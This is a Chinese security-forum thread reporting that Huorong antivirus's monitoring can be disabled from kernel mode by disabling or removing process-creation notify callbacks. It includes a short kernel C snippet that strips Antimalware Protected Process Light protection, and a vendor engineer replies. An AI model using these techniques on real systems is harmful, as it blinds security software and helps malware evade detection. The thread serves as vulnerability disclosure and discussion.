查看: 3949|回复: 20
收起左侧

[技术原创] 火绒文件监控BUG

[复制链接]
Yuki丶
发表于 2020-7-26 19:40:48 | 显示全部楼层 |阅读模式
本帖最后由 Yuki丶 于 2020-7-26 21:34 编辑

1.这是之前(几个月前)偶然一次操作发现的 今天火绒群友刚好又在讨论如何关闭/禁用火绒 于是就有了这篇帖。


先来说说是怎么发现的吧:
在虚拟机测试PspNotifyEnableMask动态禁用通知时 发现原本火绒监控能查杀的样本突然不检测了(压缩包解压),后来用WKE(Windows-Kernel-Explorer) 关闭通知 结果也是一样的 后面就发现火绒靠的CreateProcess实现的监控


如何干掉它呢(举几个例子):
1.动态定位PspNotifyEnableMask 改0 (PsSetLoadImageNotifyRoutineEx->PspNotifyEnableMask)
2.枚举CreateProcess 移除/修改火绒注册的通知 (PsSetCreateProcessNotifyRoutineEx->PspSetCreateProcessNotifyRoutine->PspCreateProcessNotifyRoutine)

甚至还可以用火绒的CreateProcess来安排他自己(CreateInfo->CreationStatus = STATUS_VIRUS_INFECTED):



顺便说说怎么干掉AM-PPL(Antimalware Protected Process Light technology):
  1.   ULONG Protection = 0, SignatureLevel = 0, SectionSignatureLevel = 0, MitigationFlags = 0;
  2.                 Protection = *(ULONG*)((PUCHAR)PsGetProcessProtection + 2);
  3.                 MitigationFlags = *(ULONG*)((PUCHAR)PsIsWin32KFilterEnabledForProcess + 2);
  4.                 SignatureLevel = *(ULONG*)((PUCHAR)PsGetProcessSignatureLevel + 15);
  5.                 SectionSignatureLevel = SignatureLevel + 1;

  6.                 PUCHAR pProtectValue = (PUCHAR)EProcess + Protection;
  7.                 PS_PROTECTION PsProtect = { 0 };
  8.                 PsProtect.Flags.Signer = PsProtectedSignerNone;
  9.                 PsProtect.Flags.Type = PsProtectedTypeNone;
  10.                 *pProtectValue = PsProtect.Level;
  11.                 PMITIGATION_FLAGS pFlags2 = (PMITIGATION_FLAGS)((PUCHAR)EProcess + MitigationFlags);
  12.                 pFlags2->DisableDynamicCode = 0;
  13.                 PSE_SIGNING_LEVEL pSignLevel = (PSE_SIGNING_LEVEL)((PUCHAR)EProcess + SignatureLevel);
  14.                 PSE_SIGNING_LEVEL pSignLevelSection = (PSE_SIGNING_LEVEL)((PUCHAR)EProcess + SectionSignatureLevel);
  15.                 *pSignLevel = *pSignLevelSection = SE_SIGNING_LEVEL_UNCHECKED;
复制代码

PPL其实用处不大 R0该怎么搞还是怎么搞 只能防一下R3

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
αdmin
头像被屏蔽
发表于 2020-7-26 20:09:39 | 显示全部楼层
拜见姥姥
MagicFuzzX
发表于 2020-7-26 20:30:16 | 显示全部楼层
这不就是驱动层对抗了嘛
KeepSky
发表于 2020-7-26 20:33:56 | 显示全部楼层
驱动对抗,各杀软估计都难抗衡!
pal家族
发表于 2020-7-26 20:37:57 | 显示全部楼层
@wowocock 来发表下意见?
Yuki丶
 楼主| 发表于 2020-7-26 20:42:09 | 显示全部楼层
MagicFuzzX 发表于 2020-7-26 20:30
这不就是驱动层对抗了嘛

驱动可以不加载(返回加载失败
MagicFuzzX
发表于 2020-7-26 20:43:52 | 显示全部楼层
Yuki丶 发表于 2020-7-26 20:42
驱动可以不加载(返回加载失败

你StartService就应该被拦截了吧,跟DriverEntry返回什么没关系吧
treeyard
发表于 2020-7-26 21:13:51 | 显示全部楼层
拜见姥姥
Yuki丶
 楼主| 发表于 2020-7-26 21:16:02 | 显示全部楼层
本帖最后由 Yuki丶 于 2020-7-26 21:29 编辑
MagicFuzzX 发表于 2020-7-26 20:43
你StartService就应该被拦截了吧,跟DriverEntry返回什么没关系吧

并没有拦截...(火绒默认设置是不拦截的

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
Yuki丶
 楼主| 发表于 2020-7-26 21:30:12 | 显示全部楼层
KeepSky 发表于 2020-7-26 20:33
驱动对抗,各杀软估计都难抗衡!

我还测过eset eset没这个问题
上官婉儿丿
头像被屏蔽
发表于 2020-7-26 21:37:33 | 显示全部楼层
pal家族 发表于 2020-7-26 20:37
@wowocock 来发表下意见?

这哥们是谁啊,看头像有点吊的样子
αdmin
头像被屏蔽
发表于 2020-7-26 21:53:49 | 显示全部楼层
上官婉儿丿 发表于 2020-7-26 21:37
这哥们是谁啊,看头像有点吊的样子

360急救箱的大佬
火绒工程师
发表于 2020-7-27 09:48:39 | 显示全部楼层
您好,我们这边本地确认一下,感谢您的反馈~
wowocock
发表于 2020-7-27 10:07:33 | 显示全部楼层
pal家族 发表于 2020-7-26 20:37
@wowocock 来发表下意见?

驱动级的对抗对于所有杀软来说基本是不做的,即使是360的主防,也只针对R3.因为就安全来说如果恶意都进R0了那么防护就没有任何意义了。基本交给查杀来处理。
火绒工程师
发表于 2020-7-27 11:59:43 | 显示全部楼层
您好,感谢反馈,楼主列出的几个操作,都需要加载驱动,进入ring0才可以。
关于驱动对抗,火绒之前做过回复
https://www.zhihu.com/question/399472910/answer/1265929869
西行寺幽幽子.
头像被屏蔽
发表于 2020-7-27 12:38:46 | 显示全部楼层
火绒工程师 发表于 2020-7-27 11:59
您好,感谢反馈,楼主列出的几个操作,都需要加载驱动,进入ring0才可以。
关于驱动对抗,火绒之前做过回 ...

你们火绒是R0吗?
西行寺幽幽子.
头像被屏蔽
发表于 2020-7-27 12:40:00 | 显示全部楼层
wowocock 发表于 2020-7-27 10:07
驱动级的对抗对于所有杀软来说基本是不做的,即使是360的主防,也只针对R3.因为就安全来说如果恶意都进R0 ...

你是360急救箱的开发者?
Yuki丶
 楼主| 发表于 2020-7-27 15:09:25 | 显示全部楼层
火绒工程师 发表于 2020-7-27 11:59
您好,感谢反馈,楼主列出的几个操作,都需要加载驱动,进入ring0才可以。
关于驱动对抗,火绒之前做过回 ...

建议换一种监控方式 其它杀软不会出现这种问题呢
火绒工程师
发表于 2020-7-27 15:33:22 | 显示全部楼层
您好,升级后wek将添加程序执行控制-风险工具,感谢您的反馈~
wowocock
发表于 2020-7-27 15:45:22 | 显示全部楼层
Yuki丶 发表于 2020-7-27 15:09
建议换一种监控方式 其它杀软不会出现这种问题呢

只要能进R0,不管你用监控什么方式,无论你是过滤还是回调,还是啥的,统统可以被干掉,没什么意义,防止恶意进R0才是该干的事。人家也回答的很清楚了。
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-12-20 12:59 , Processed in 0.091275 second(s), 2 queries , Redis On.

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表